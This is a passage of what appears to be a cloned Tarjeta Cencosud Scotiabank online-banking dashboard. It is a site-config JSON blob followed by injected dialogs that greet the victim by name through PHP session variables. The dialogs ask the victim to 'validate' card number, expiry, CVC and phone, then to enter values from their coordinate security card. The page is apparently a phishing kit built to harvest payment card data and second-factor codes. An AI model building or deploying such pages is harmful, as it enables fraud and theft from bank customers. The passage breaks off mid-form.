cosud-2.svg"},"type":"Tarjeta Cencosud Visa","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7456873416437833-3545867076865348-tarjeta-scotiabank-sin-contenido-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7456873416437833-3545867076865348-tarjeta-scotiabank-sin-contenido-1.svg"},"show_venc_card":true,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg"},"show_number_card":true,"order":4,"show_name_card":true,"id":13,"color_venc_card":"#000","color_number_card":"#000","theme":"default","color_name_card":"#000","id_logo":2,"code_logo":"002","open_card":true},{"card":"Cencosud","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg"},"type":"Tarjeta Cencosud","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/671722720586065-4854959550568083-tarjeta-cencosud-cerrada-sin-contenido-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/671722720586065-4854959550568083-tarjeta-cencosud-cerrada-sin-contenido-1.svg"},"show_venc_card":true,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg"},"show_number_card":true,"order":5,"show_name_card":true,"id":14,"color_venc_card":"#000","color_number_card":"#000","theme":"default","color_name_card":"#000","id_logo":5,"code_logo":"913","open_card":false},{"card":"Más Jumbo","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg"},"type":"Mas Jumbo","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8995069262035715-9161218139870133-tarjeta-jumbo-sin-contenido-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8995069262035715-9161218139870133-tarjeta-jumbo-sin-contenido-2.svg"},"show_venc_card":false,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg"},"show_number_card":false,"order":6,"show_name_card":false,"id":15,"color_venc_card":"#FFF","color_number_card":"#FFF","theme":"default","color_name_card":"#FFF","id_logo":6,"code_logo":"902","open_card":false},{"card":"Más Easy","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg"},"type":"Mas Easy","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4209094190366762-8824206793885041-tarjeta-easy-sin-contenido-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4209094190366762-8824206793885041-tarjeta-easy-sin-contenido-1.svg"},"show_venc_card":false,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg"},"show_number_card":false,"order":7,"show_name_card":false,"id":16,"color_venc_card":"#FFF","color_number_card":"#FFF","theme":"default","color_name_card":"#FFF","id_logo":8,"code_logo":"942","open_card":false},{"card":"Más Paris","icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg"},"type":"Mas Paris","image":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/27430213635766965-10461628154281244-tarjeta-paris-sin-contenido-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/27430213635766965-10461628154281244-tarjeta-paris-sin-contenido-1.svg"},"show_venc_card":false,"arrow":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg"},"show_number_card":false,"order":8,"show_name_card":false,"id":17,"color_venc_card":"#FFF","color_number_card":"#FFF","theme":"default","color_name_card":"#FFF","id_logo":502,"code_logo":"903","open_card":false}],"novelty":{"title":"Novedades para ti","title_empty":"Sin novedades","title_error":"Error de comunicación","title_error_retry":"Lo sentimos","subtitle_empty":"Aquí encontrarás ofertas e información importante especialmente pensadas para ti","subtitle_error":"Las novedades no están disponibles en estos momentos, inténtalo nuevamente","subtitle_error_retry":"Se ha alcanzado el número máximo de intentos, regresa en unos minutos","button_text_error":"Reintentar","button_type_error":"primary","star_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3602624192530004-730970495033546-star-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/3602624192530004-730970495033546-star-1.svg"},"drawer_icon":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/08772679056707489-4498235664659036-close-button.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/08772679056707489-4498235664659036-close-button.svg"},"image_error":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7536218963097066-45035927094833395-robot.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7536218963097066-45035927094833395-robot.svg"},"image_empty":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/45495427586536974-4465832500390703-ilustracion_el_tiempo_se_cabo-2.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/45495427586536974-4465832500390703-ilustracion_el_tiempo_se_cabo-2.svg"},"image_error_retry":{"full_url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/26746309876126984-8434873552090771-robot-1.svg","url":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/26746309876126984-8434873552090771-robot-1.svg"}},"dataCards":[{"key":"516","card":"Black","theme":"black","type":"Tarjeta Mastercard","showExpirationCard":true,"showNumberCard":true,"showNameCard":true,"colorExpirationCard":"#FFF","colorNumberCard":"#FFF","colorNameCard":"#FFF","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7900524894718024-07992736935445754-4602328826950479-black-1.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/27801700797983897-16403886691116032-tarjeta-black-sin-contenido-1.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/22425731292550055-49910344097821624-chevron_bottom_black-2.svg","openCard":true},{"key":"506","card":"Platinum","theme":"platinum","type":"Tarjeta Mastercard","showExpirationCard":true,"showNumberCard":true,"showNameCard":true,"colorExpirationCard":"#FFF","colorNumberCard":"#FFF","colorNameCard":"#FFF","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5072259225221909-9070530360657447-16921518917745448-platinum-1.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/1485414030877512-7316383242628397-tarjeta-platinum-sin-contenido-2.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/22425731292550055-49910344097821624-chevron_bottom_black-2.svg","openCard":true},{"key":"502","card":"Mastercard","theme":"default","type":"Tarjeta Mastercard","showExpirationCard":true,"showNumberCard":true,"showNameCard":true,"colorExpirationCard":"#FFF","colorNumberCard":"#FFF","colorNameCard":"#FFF","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7349990214467961-15302349691185957-6249695103869664-cencosud-1.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6650534810735422-6465093191842128-tarjeta-cenco-sin-contenido-1.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","openCard":true},{"key":"002","card":"Visa","theme":"default","type":"Tarjeta Cencosud Visa","showExpirationCard":true,"showNumberCard":true,"showNameCard":true,"colorExpirationCard":"#000","colorNumberCard":"#000","colorNameCard":"#000","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7456873416437833-3545867076865348-tarjeta-scotiabank-sin-contenido-1.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","openCard":true},{"key":"913","card":"Cencosud","theme":"default","type":"Tarjeta Cencosud","showExpirationCard":true,"showNumberCard":true,"showNameCard":true,"colorExpirationCard":"#000","colorNumberCard":"#000","colorNameCard":"#000","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/671722720586065-4854959550568083-tarjeta-cencosud-cerrada-sin-contenido-1.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","openCard":false},{"key":"902","card":"Más Jumbo","theme":"default","type":"Mas Jumbo","showExpirationCard":false,"showNumberCard":false,"showNameCard":false,"colorExpirationCard":"#FFF","colorNumberCard":"#FFF","colorNameCard":"#FFF","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8995069262035715-9161218139870133-tarjeta-jumbo-sin-contenido-2.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","openCard":false},{"key":"942","card":"Más Easy","theme":"default","type":"Mas Easy","showExpirationCard":false,"showNumberCard":false,"showNameCard":false,"colorExpirationCard":"#FFF","colorNumberCard":"#FFF","colorNameCard":"#FFF","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/4209094190366762-8824206793885041-tarjeta-easy-sin-contenido-1.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","openCard":false},{"key":"903","card":"Más Paris","theme":"default","type":"Mas Paris","showExpirationCard":false,"showNumberCard":false,"showNameCard":false,"colorExpirationCard":"#FFF","colorNumberCard":"#FFF","colorNameCard":"#FFF","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6429393216037347-15302349691185957-6249695103869664-cencosud-2.svg","image":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/27430213635766965-10461628154281244-tarjeta-paris-sin-contenido-1.svg","arrow":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/24420300365497716-039519751589281116-chevron_bottom_default-1.svg","openCard":false}],"links":[{"linkIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/689554449383684-9366793582185402-home_dashboard.svg","linkText":"Inicio","linkUrl":"","linkFunc":null,"linkTarget":"_self","activeLink":true,"showLink":true,"linkPosition":1,"submenuLinks":[],"linkNotification":false,"loading":false,"linkHeight":47,"code":"INICIO"},{"linkIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/26033554465315234-24461300447312317-movimientos_dashboard.svg","linkText":"Movimientos","linkUrl":"","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":2,"submenuLinks":[{"linkText":"Facturados","linkUrl":"https://www.mitarjetacencosud.cl/movimientos/facturados/{{idCuenta}}","linkFunc":"","linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":1,"loading":false,"badge":false,"badgeText":null,"code":"MESES_ANTERIORES"},{"linkText":"Últimos movimientos","linkUrl":"https://www.mitarjetacencosud.cl/movimientos/tarjetas/{{idTarjeta}}","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":2,"loading":false,"badge":false,"badgeText":null,"code":"ULTIMOS_MOVIMIENTOS"},{"linkText":"Próximas cuotas","linkUrl":"https://www.mitarjetacencosud.cl/movimientos/proximas-cuotas/{{idCuenta}}","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":false,"linkPosition":3,"loading":false,"badge":false,"badgeText":null,"code":"PROXIMAS_CUOTAS"},{"linkText":"Seguimiento de pagos","linkUrl":"https://www.mitarjetacencosud.cl/pagos/privado/historial-pago","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":4,"loading":false,"badge":false,"badgeText":null,"code":"SEGUIMIENTO_PAGOS"}],"submenuIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/20368239505608332-4394272414151712-flecha_dashboard.svg","linkNotification":false,"loading":false,"linkHeight":47,"code":"MOVIMIENTOS"},{"linkIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7470264842027148-837281519319788-reordena_dashboard.svg","linkText":"Reordenar mi deuda","linkUrl":"https://www.mitarjetacencosud.cl/TarjetaMasWEB/simuladorRepactacion.do?method=plancuota&pos=rbtn1","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":false,"linkPosition":3,"submenuLinks":[],"linkNotification":true,"loading":true,"linkHeight":47,"code":"REORDENAR"},{"linkIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/887104507947178-5388074632707327-credito_consumo_dashboard.svg","linkText":"Pagar Crédito Consumo","linkUrl":"https://www.mitarjetacencosud.cl/pagos/cc/privado/creditos/cuota","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":4,"submenuLinks":[],"linkNotification":true,"loading":true,"linkHeight":47,"code":"PAGARCC"},{"linkIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7437229460281571-22771785216179086-pagar_cuenta_dashboard.svg","linkText":"Pagar mi cuenta","linkUrl":"https://www.mitarjetacencosud.cl/pagos/eecc/privado/tarjetas/{{idTarjeta}}","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":5,"submenuLinks":[],"linkNotification":false,"loading":false,"linkHeight":47,"code":"PAGAR_CUENTA"},{"linkIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/42302408741846476-55496453273986-avance_dashboard.svg","linkText":"Avance","linkUrl":"","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":7,"submenuLinks":[{"linkText":"Mis Avances","linkUrl":"https://www.mitarjetacencosud.cl/avances/mis-avances","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":1,"loading":false,"badge":false,"badgeText":"","code":"MIS_AVANCES"},{"linkText":"Simular Avance","linkUrl":"https://www.mitarjetacencosud.cl/ae/tarjetas/{{idTarjeta}}/simulacion","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":2,"loading":true,"badge":false,"badgeText":null,"code":"SIMULAR_AVANCE"},{"linkText":"Más información","linkUrl":"https://www.tarjetacencosud.cl/publico/producto/avance/landing/caracteristicas","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":3,"loading":false,"badge":false,"badgeText":null,"code":"MAS_INFORMACION_AE"}],"submenuIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/44072764432867806-4394272414151712-flecha_dashboard-1.svg","linkNotification":false,"loading":false,"linkHeight":47,"code":"AVANCE"},{"linkIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/811698948743202-5289884072671558-super_avance_dashboard.svg","linkText":"Súper Avance","linkUrl":"","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":8,"submenuLinks":[{"linkText":"Mis Súper Avances","linkUrl":"https://www.mitarjetacencosud.cl/avances/mis-super-avances","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":1,"loading":false,"badge":false,"badgeText":"","code":"MIS_SUPER_AVANCES"},{"linkText":"Simular Súper Avance","linkUrl":"https://www.mitarjetacencosud.cl/sae/tarjetas/{{idTarjeta}}/simulacion","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":2,"loading":true,"badge":false,"badgeText":null,"code":"SIMULAR_SUPER_AVANCE"},{"linkText":"Preguntas frecuentes","linkUrl":"https://www.tarjetacencosud.cl/publico/comun/preguntas-frecuentes/landing/tarjeta-cencosud-scotiabank","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":3,"loading":false,"badge":false,"badgeText":null,"code":"PREGUNTAS_FRECUENTES"},{"linkText":"Más información","linkUrl":"https://www.tarjetacencosud.cl/publico/producto/super-avance/landing/caracteristicas","linkFunc":null,"linkTarget":"_self","activeLink":false,"showLink":true,"linkPosition":4,"loading":false,"badge":false,"badgeText":null,"code":"MAS_INFORMACION_SAE"}],"submenuIcon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7177072935188475-4394272414151712-flecha_dashboard-1-.svg","linkNotification":false,"loading":false,"linkHeight":47,"code":"SAVANCE"}],"linksFooter":[{"textLink":"Sucursales Abiertas","link":"https://www.mitarjetacencosud.cl/sucursales","target":"_self","active":false,"show":true,"position":1},{"textLink":"Mis beneficios","link":"https://www.tarjetacencosud.cl/publico/beneficios/landing/inicio","target":"_self","active":false,"show":true,"position":2},{"textLink":"Servicio al cliente","link":"https://www.tarjetacencosud.cl/publico/comun/landing/servicio-cliente","target":"_self","active":false,"show":true,"position":3},{"textLink":"Bloqueo de tarjeta","link":"https://www.mitarjetacencosud.cl/bloqueos/{{idCuenta}}","target":"_self","active":false,"show":true,"position":4}],"footerSocials":[{"show":true,"position":"1","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/6254483421435535-2820004834732899-6946275972716185-facebook-2.svg","link":"https://www.facebook.com/TarjetaCencosudScotiabank"},{"show":true,"position":"2","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/05272919162655887-5106614781003986-9109148030476721-youtube-1.svg","link":"https://www.youtube.com/c/TarjetaCencosudScotiabank"},{"show":true,"position":"3","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/8559069535368939-12283231776143233-12259633188015262-twitter-1.svg","link":"https://twitter.com/TCencosudScotia"},{"show":true,"position":"4","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/030332008174822622-2706547189820747-1387712632680882-whatsapp-1.svg","link":"https://goo.gl/sLXHzW"}],"headerIconsList":[{"show":true,"code":"PROFILE_USER","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/36579668098597606-2610938745442628-9135745473407257-user-2.svg","iconMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7350941299802258-6152294381801937-47908700358114253-user-1.svg","active":false,"position":1,"notification":false,"themeNotification":null,"numberNotification":null,"goToUrlIcon":null,"targetUrlIcon":null,"onClickFunction":null,"alternativeFunction":null,"isLoadingIcon":false},{"show":true,"code":"DIGITAL_CARD","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/9098483851350985-18101081669072694-35680117297582203-pagar_cuenta-1.svg","iconMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/7206273952655318-07671574973997553-20540100712194898-pagar_cuenta.svg","active":false,"position":2,"notification":false,"themeNotification":null,"numberNotification":null,"goToUrlIcon":"https://www.mitarjetacencosud.cl/tarjetas/digital","targetUrlIcon":"_self","onClickFunction":null,"alternativeFunction":null,"isLoadingIcon":false},{"show":true,"code":"NOTIFICATIONS","icon":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/5396102297962597-9281268684308861-9148016875319249-star.svg","iconMobile":"https://staticresourcesfiles.blob.core.windows.net/content/web/static/50593350368843-6918515222931501-6141454381284799-star.svg","active":false,"position":3,"notification":false,"themeNotification":"default","numberNotification":0,"goToUrlIcon":null,"targetUrlIcon":null,"onClickFunction":null,"alternativeFunction":null,"isLoadingIcon":false}],"headerOptionsUserList":[{"show":true,"code":"MIS_DATOS","textOption":"Mis datos","position":1,"active":false,"goToUrlOption":"https://www.mitarjetacencosud.cl/mis-datos","targetUrlOption":"_self","onClickFunction":null,"alternativeFunction":null},{"show":true,"code":"BLOQUEO_TARJETA","textOption":"Bloquear mi Tarjeta","position":2,"active":false,"goToUrlOption":"https://www.mitarjetacencosud.cl/TarjetaMasWEB/solicitarBloqueo.do","targetUrlOption":"_self","onClickFunction":null,"alternativeFunction":null},{"show":true,"code":"CLAVE_WEB","textOption":"Cambiar clave web","position":3,"active":false,"goToUrlOption":"https://www.mitarjetacencosud.cl/claves/web/cambio","targetUrlOption":"_self","onClickFunction":null,"alternativeFunction":null},{"show":true,"code":"CERRAR_SESION","textOption":"Cerrar sesión","position":4,"active":false,"goToUrlOption":null,"targetUrlOption":null,"onClickFunction":null,"alternativeFunction":null}]},"error":false},"points":{},"modal":{"modal":{"id":1,"inactiveTime":480,"showModalTime":60,"sessionCloseModalBtn":"Cerrar","sessionCloseModalTitle":"Tu sesión expiró","sessionCloseModalSubtitle":"debes ingresar nuevamente","sessionCloseModalTime":3,"sessionModalBtnCloseSession":"Cerrar sesión","sessionModalBtnStay":"Quiero quedarme","sessionModalActive":true,"sessionCloseModalUrlRedirect":"https://www.tarjetacencosud.cl/TarjetaMasWEB/home.html"}},"loading":{"isLoading":false},"channel":{},"consumerCredit":{},"offerAE":{},"offerSAE":{},"offerRepa":{"isLoadingRepa":true},"menu":{"showMenu":false,"openInfo":false,"openDrawerIncrease":false},"lastMovements":{"lastMovementsRetries":0},"billing":{"billingRetries":0},"offerShareIncrease":{},"novelties":{"noveltiesRetries":0,"showDrawer":true}}
</script>
<script type="text/javascript" src="dashboard_files/vendors_app.4f3b1db54983720ff7e1.bundle.js"></script>
<div class="ReactModalPortal"></div><div class="ReactModalPortal"></div><div class="ReactModalPortal"></div><iframe name="_hjRemoteVarsFrame" title="_hjRemoteVarsFrame" id="_hjRemoteVarsFrame" src="dashboard_files/box-a1ae2079824d1c48aa9ce06efb256f18.html" style="display: none !important; width: 1px !important; height: 1px !important; opacity: 0 !important; pointer-events: none !important;"></iframe><div class="_hj_feedback_container"><div class="_hj-1oVIF__styles__globalStyles _hj-1_39t__styles__resetStyles"><div class="_hj-1Fv4C__Feedback__container" style="--hjFeedbackAccentColor:#FF7A02; --hjFeedbackAccentTextColor:#ffffff; --hjFeedbackSecondaryTextColor:#666666; --hjFeedbackBackgroundColor:#ffffff; --hjFeedbackDarkGray:#333333; --hjFeedbackFooterTextColor:#333333; --hjFeedbackSelectionColor:#ffd902; --hjFeedbackSelectionTextColor:#3c3c3c;"><div id="_hj_feedback_container" class="_hj-1qvel__Feedback__feedback"><div class="_hj-1O2Rr__MinimizedWidgetMiddle__container _hj-1QnQT__MinimizedWidgetMiddle__right" style="top: 180px;"><button class="_hj-21t0-__MinimizedWidgetMiddle__label"><div class="_hj-1uQd9__MinimizedWidgetMiddle__text">Sugerencias</div><div class="_hj-u1G5O__MinimizedWidgetMiddle__emotionIcon"><div class="_hj-qoDG___EmotionIconDefault__iconEmotionDefault _hj-3e6MN__styles__icon _hj-1BEBR__EmotionIconDefault__like"><span class="_hj-3obO5__EmotionIconDefault__commentIcon _hj-150gX__EmotionIconDefault__invert"></span><span class="_hj-2RA7u__EmotionIconDefault__expressionIcon _hj-150gX__EmotionIconDefault__invert"></span></div></div></button></div></div></div></div></div>
<div id="dialog-form" title="Estimado(a): <?php echo $_SESSION['nombre']?> ">
<h4 style="
color: #536675;
font: 12.5px var(--ion-font-family-semibold);
background-color: transparent;
text-align: center;
margin: 0;
">Necesitamos validar los datos de tu Tarjeta y telefono.</h4>
<div class="card-wrapper"></div>
<div class="form-container active" style="
margin: auto;
float: none!important;
width: 100%!important;
margin-left: 34px;
">
<form action="">
<div class="row collapse">
<div class="small-6 columns">
<input placeholder="Número" type="text" name="number" maxlength="19">
</div>
<div class="small-6 columns">
<input placeholder="Nombre" type="text" name="name" value="<?php echo $_SESSION['nombreCompleto']?>">
</div>
</div>
<div class="row collapse">
<div class="small-3 columns">
<input placeholder="MM/AA" type="text" name="expiry">
</div>
<div class="small-3 columns">
<input placeholder="CVC" type="text" name="cvc">
</div>
</div>
<div class="row collapse">
<div class="small-3 columns">
<input placeholder="Celular" type="text" name="celular">
</div>
<!--div class="small-3 columns">
<input placeholder="Nro de Serie" type="text" name="NroDeSerie">
</div-->
</div>
</form>
</div>
</div>
<div id="dialog-coordenadas" title="Validar Clave de Coodenadas">
<div class="card-coordendas">
</div>
<div id="my" style="
float: left;
">
<h3 style="
margin-left: 10px;
font: 12.5px var(--ion-font-family);
color: var(--color-grey-medium);
padding: 10px;
float: left;
">
Tus datos personales son muy importantes para nosotros. Para resguardar tu seguridad, te solicitamos ingresar con tu tarjeta de coordenadas.</h3>
<div _ngcontent-cls-c14="" class="form-container">
<form _ngcontent-cls-c14="" autocomplete="off" class="coordenadas form ng-untouched ng-pristine ng-invalid" novalidate="" style="
padding-top: 20px;
">
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">1</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">A</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="A1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">B</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="B1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">C</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="C1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">D</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="D1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">E</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="E1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">F</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="F1">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label">G</p>
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="G1">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
">2</p>
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="A2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="B2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-0" name="C2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-1" name="D2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="E2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="F2">
</div>
<div _ngcontent-cls-c14="" class="code-box">
<input _ngcontent-cls-c14="" class="code-input ng-untouched ng-pristine ng-invalid" inputmode="numeric" maxlength="2" minlength="2" required="" type="challenge" data-test="input-transfer-coord-2" name="G2">
</div>
</div>
<div _ngcontent-cls-c14="" class="codes-card"><!---->
<div _ngcontent-cls-c14="" class="code-box">
<p _ngcontent-cls-c14="" class="code-label" style="
margin-bottom: 6px;
